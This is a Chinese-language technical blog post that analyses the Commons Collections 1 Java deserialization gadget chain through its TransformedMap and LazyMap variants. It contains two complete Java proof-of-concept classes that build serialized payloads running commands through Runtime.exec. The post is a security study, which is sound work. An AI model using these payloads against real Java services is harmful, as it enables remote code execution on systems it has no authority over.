commons-collections1(cc1)反序列化链分析

commons-collections1

commons-collections1也就是常说的cc1,网上一般有两条链子,一个就是ysoserial中的lazymap链,还有transformedmap链,刚开始碰到cc1链子感觉有点麻烦,但只要迈出第一步后面就会挺流畅的,首先在细跟之前一定要有一个大的框架,哪一步完了再跟进到哪一步,像cc1这里主要就是Transformer接口里三个主要的实现类来实现命令执行,然后通过两个不同方法调用执行,即可!

环境配置

java < 8u71(再往后它的AnnotationInvocationHandler中readObject函数有改动)

CommonsCollections <= 3.2.1

在这里插入图片描述

在这里插入图片描述

原理分析

前半部分都是由Transformer接口组成的一条链,Transformer是一个接口类,提供了一个对象转换方法transform:

public interface Transformer {

    public Object transform(Object input);

}

该接口的重要实现类有:ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap

  1. ConstantTransformer --> 把⼀个对象转换为常量,并返回 ->获取到了Runtime.class
  2. InvokerTransformer --> 通过反射,返回⼀个对象 -> 反射获取执行方法加入参数
  3. ChainedTransforme -->执⾏链式的Transformer⽅法 ->将反射包含的数组进行链式调用,从而连贯起来

前半部分都相同,后面是两种思路

  1. TransformedMap 配合sun.reflect.annotation.AnnotationInvocationHandler 中的 readObject()
  2. lazyMap配合sun.reflect.annotation.AnnotationInvocationHandler 中的Invoke()+动态代理

InvokerTransformer

在这里插入图片描述

可以看到该方法中采用了反射的方法进行函数调用,Input 参数为要进行反射的对象 iMethodName , iParamTypes 为调用的方法名称以及该方法的参数类型,iArgs 为对应方法的参数,这三个参数均为可控参数:

ConstantTransformer

在这里插入图片描述
方法很简单,就是返回 iConstant 属性,该属性也为可控参数:

ChainedTransformer

在这里插入图片描述

可以看出需要传入一个 Transformer 数组,而这里使用了 for 循环来调用 Transformer 数组的 transform() 方法,并且使用了 object 作为后一个调用transform() 方法的参数,举个例子

new ConstantTransformer(Runtime.getRuntime())
new InvokerTransformer("exec", new Class[]{String.class},new Object[{"calc"})

这样传参我们就可以执行系统命令了

其实这三步走完,到这里只要构造包含命令的 ChainedTransformer 对象,然后触发 ChainedTransformer 对象的 transform() 方法,即可实现目的,那么问题来了,如何传入的ChainedTransformer并且触发transform方法呢,接下来就是两种思路

TransformedMap链

我们发现在TransformedMap的checkSetValue() 方法中会触发 transform() 方法,

在这里插入图片描述我们可以首先构造一个 Map 和一个能够执行代码的 ChainedTransformer ,生成一个 TransformedMap ,当map的key或value发生改变时(调用TransformedMapsetValue/put/putAll中的任意方法),就会自动触发chainedtransformer

那就先找调用checkSetValue方法的地方,这里发现它的父类AbstractInputCheckedMapDecorator

AbstractInputCheckedMapDecorator

在这里插入图片描述

这里的this.parent传入的就是TransformedMap,AbstractInputCheckedMapDecorator 的根父类实际就是 Map ,所以我们现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链。

AnnotationInvocationHandler

这里就引用到了AnnotationInvocationHandler,这个类中有一个成员变量 memberValues 是 Map 类型,它的readObject()函数中对memberValues调用了setValue()函数。

在这里插入图片描述

在这里插入图片描述

这里的攻击链也就是
TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue()

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class cc1 {
    public static Object Reverse_Payload() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "value");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
        //通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //这里需要设置Accessible为true,否则序列化失败
        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象
        Object instance = ctor.newInstance(Retention.class, outmap);
        return instance;
    }

    public static void main(String[] args) throws Exception {
        GeneratePayload(Reverse_Payload(),"obj");
        payloadTest("obj");
    }
    public static void GeneratePayload(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        File f = new File(file);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

lazymap链

在lazymap中有一个get方法通过put调用了factory成员的transform方法
在这里插入图片描述

接下来同样只需要找到一个readObject方法去调用了该get方法即可,这里AnnotationInvocationHandler的一个invoke中有执行get方法
在这里插入图片描述

InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
 //创建一个InvocationHandler接口的对象
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); 
//第一个参数为类加载器,第二个参数类型,第三个参数传入我们的接口当我们引用proxyMap中的方法时,会先在handler中的invoke方法中进行修饰,执行invoke里的代码

我们的memberValues成员为lazymap对象(memberValues的赋值在构造函数中,且我们可控),当我们执行到下面这里的时候,就会触发代理机制,然后进入Invoke方法,从而触发命令执行
在这里插入图片描述

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

public class CommonCollections12 {
    public static Object generatePayload() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "xxx");
        Map outmap = LazyMap.decorate(innermap,transformerChain);
        //通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //这里需要设置Accessible为true,否则序列化失败
        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象
        InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
        Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
        Object instance = ctor.newInstance(Retention.class, mapProxy);

        return instance;
    }
    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

参考CC链学习-上
参考深入理解 JAVA 反序列化漏洞
参考Java安全(七) CC链1
Java反序列化CommonsCollections篇(一) CC1链手写EXP

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值